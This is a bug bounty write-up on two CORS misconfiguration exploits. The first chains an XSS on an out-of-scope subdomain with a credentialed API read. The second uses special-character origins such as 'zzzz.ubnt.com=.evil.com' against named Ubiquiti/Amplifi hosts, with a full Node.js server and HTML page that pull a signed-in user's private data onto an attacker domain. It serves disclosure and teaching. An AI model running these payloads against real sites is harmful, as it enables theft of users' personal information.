Think Outside the Scope: Advanced CORS Exploitation Techniques

Ayoub Safa (Sandh0t)
InfoSec Write-ups
Published in
7 min readMay 14, 2019

--

Hi everyone,

My name is Ayoub, I’m a security researcher from Morocco. In this article, I will be describing two different cases of how I was able to exploit a CORS misconfiguration: The first case based on an XSS, and requires thinking outside of the scope, and the second is based on an advanced CORS exploitation technique.

Note: Before You start reading this write-up, you will need to have a basic understanding of what CORS is and how to exploit misconfigurations. Here are some awesome posts to get you caught up:

Case:#1

Vulnerable Endpoint

About a year ago, I was hacking this private program, hosted by HackerOne. After playing with the Origin header in the HTTP request, then inspecting server response to check if they do domains whitelist check or not, I noticed that the application is blindly whitelisting only the subdomains, even non-existing ones.

For privacy reasons and the responsible disclosure policy, let’s assume that the web application is hosted in: www.redacted.com

This CORS misconfiguration looks something like this:

HTTP Request:

GET /api/return HTTP/1.1
Host: www.redacted.com
Origin: evil.redacted.com
Connection: close

HTTP Response:

HTTP/1.1 200 OK
Access-control-allow-credentials: true
Access-control-allow-origin: evil.redacted.com

This API endpoint was returning the user’s private information, like full name, email address, ….

To abuse this misconfiguration so we can perform an attack, like leaking users’ private information, we need either to claim an abandoned subdomain (Subdomain Takeover), or find an XSS in one of the existing subdomains.

Think Outside The Scope

Finding an abandoned subdomain is not that trivial, so I decided to go for the second option, finding an XSS in one of the existing subdomains. However, the scope of this private program is limited to only: www.redacted.com, Which means that finding an XSS in other subdomain is definitely out of the scope, but chaining this XSS with the CORS misconfiguration is somehow in the Scope. Right?

And, the fact that the other subdomains are out of scope, is the reason that made me more confident, that there is a big chance of finding an XSS on those subdomains since other hackers will not be testing them.

So, I start searching for this XSS, with a heart full of hope to find it, And In less than one hour, I found one in banques.redacted.com, using the following payload:

https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1

Time to create a nice Proof of Concept, and submit a report

Reproduce :

So to exploit this CORS Misconfiguration we just need to replace the XSS payload alert(document.domain), with the following code:

function cors() {  
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.redacted.com/api/return", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();

Like This :

https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1

And Voilà, we now have a nice PoC:

Reward

Now, What if I told you that you can still abuse this issue without the need of finding an XSS in any of the existing subdomains, or claiming an abandoned one.

That exactly what we will be discussing in the second case.

Case:#2

Vulnerable Endpoint

This time, I was working on the Ubnt Program, and especially the Application hosted in: https://protect.ubnt.com/

Following the same process, I identified the same CORS Misconfiguration, similar to the previous case, but this time the application fetches the user’s private information from a different location, An API hosted in: https://client.amplifi.com/api/user/

This Application also blindly whitelist any subdomains, even non-existing ones.

And, As we discussed before, to abuse this CORS misconfiguration you will need, either claiming an abandoned subdomain, or finding an XSS in one of the existing subdomains.

And since this is a public program, with big scope (All the subdomains are in scope); there is a tiny chance of finding an XSS, not even mentioning a subdomain takeover vulnerability.

So, did we reached a dead end?

Advanced CORS Technique

Well, It turns out, that there is another way, But it requires a certain condition to work.

An interesting research done recently by Corben Leo can be found here. Showed that it’s possible to bypass some controls implemented incorrectly using special characters inside the domain name.

This research is based on the fact that browsers do not always validate domain names before making requests. Therefore, if some special characters are used, the browser may currently submit requests without previously verifying if the domain name is valid and existent.

Example:

The fully understand this issue, let’s try to open a URL with special characters like: http://asdf`+=.withgoogle.com. Most browsers will validate the domain names before making any requests.

The domain withgoogle.com, is used as a demo, because it’s has a wildcard DNS record

Chrome:

from https://www.corben.io/advanced-cors-techniques/

Firefox:

from https://www.corben.io/advanced-cors-techniques/

Safari:

As you can see, Safari is an exception, it will actually send the request and try to load the page, unlike the other browsers.

from https://www.corben.io/advanced-cors-techniques/

And we can use all sorts of different characters, even unprintable ones:

,&'";!$^*()+=`~-_=|{}%

// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f

Furthermore, another research done by Davide Danelon can be found here, showed that the other Subset of these special characters can also be used on other browsers.

From Davide Danelon research: https://www.bedefended.com/papers/cors-security-guide

Now, we know all of this, how can we abuse this issue to perform an Advance CORS Exploitation Technique, for a nice demonstration, let’s go back the vulnerable web application on: https://client.amplifi.com/

The new approach

In this case, the web application also accepts the following Origin *.ubnt.com!.evil.com

Not just the character “!” , but also the following ones:

*.ubnt.com!.evil.com 
*.ubnt.com".evil.com
*.ubnt.com$.evil.com
*.ubnt.com%0b.evil.com
*.ubnt.com%60.evil.com
*.ubnt.com&.evil.com
*.ubnt.com'.evil.com
*.ubnt.com(.evil.com
*.ubnt.com).evil.com
*.ubnt.com*.evil.com
*.ubnt.com,.evil.com
*.ubnt.com;.evil.com
*.ubnt.com=.evil.com
*.ubnt.com^.evil.com
*.ubnt.com`.evil.com
*.ubnt.com{.evil.com
*.ubnt.com|.evil.com
*.ubnt.com}.evil.com
*.ubnt.com~.evil.com

And you should know by now that some browsers, such as Safari, accept URL with special characters, like: https://zzzz.ubnt.com=.evil.com.

So if we set up a domain: evil.com with a wildcard DNS record, allowing to point all the subdomains (*.evil.com) to www.evil.com, which will be hosting a script in a page like: www.evil.com/cors-poc that will simply send a cross-domain request with the subdomain name as the origin value to the vulnerable endpoint

Then somehow we forced an authenticated user to open the link: https://zzzz.ubnt.com=.evil.com/cors-poc

Theoretically, we can exfiltrate this user’s private information, as a result.

Reproduce :

  1. First, set up a Domain with a wildcard DNS record pointing it to your box, in my case, I used GoDaddy to host my domain, with the following configuration:

2. Install NodeJS, create a new directory, and then save inside it the following file:

serve.js

var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80

http.createServer(function(req, res) {
if (req.url == '/cors-poc') {
fs.readFile('cors.html', function(err, data) {
res.writeHead(200, {'Content-Type':'text/html'});
res.write(data);
res.end();
});
} else {
res.writeHead(200, {'Content-Type':'text/html'});
res.write('never gonna give you up...');
res.end();
}
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);

3. In the same directory, save the following:

cors.html

<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center>
cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
</div>

<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://client.amplifi.com/api/user/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>

4. Start the NodeJS server by running the following command:

node serve.js &

5. Now, sign in to the application on: https://protect.ubnt.com/, and check that you can retrieve your account information from the endpoint: https://client.amplifi.com/api/user/

6. Finally, open the link: https://zzzz.ubnt.com=.evil.com/cors-poc In Safari Browser, And Voilà.

In my case I used the Safari browser in my iPhone as PoC, since I don’t have a Mac machine.

Reward

Takeaway

I’m sure that a lot of security researcher had already been in such situation, and you can find lots of report in HackerOne describing this type of CORS misconfiguration, but only a few were able to fully exploited it, due to lack of a PoC in their report.

That’s one of the reasons why I wanted to share my experience. also to highlight other techniques to exploit such vulnerability.

Finally, Always remember, Sometimes you just need to think outside the ̶B̶o̶x̶ Scope.

Thanks for reading. Feel free to follow me on Twitter https://twitter.com/sandh0t

Happy Hunting.

--

--

Sr. Security Engineer, Ethical Hacker, Bug Bounty Hunter At HackerOne, Synack Red Team, and BugCrowd. https://hackerone.com/sandh0t | Tweet @sandh0t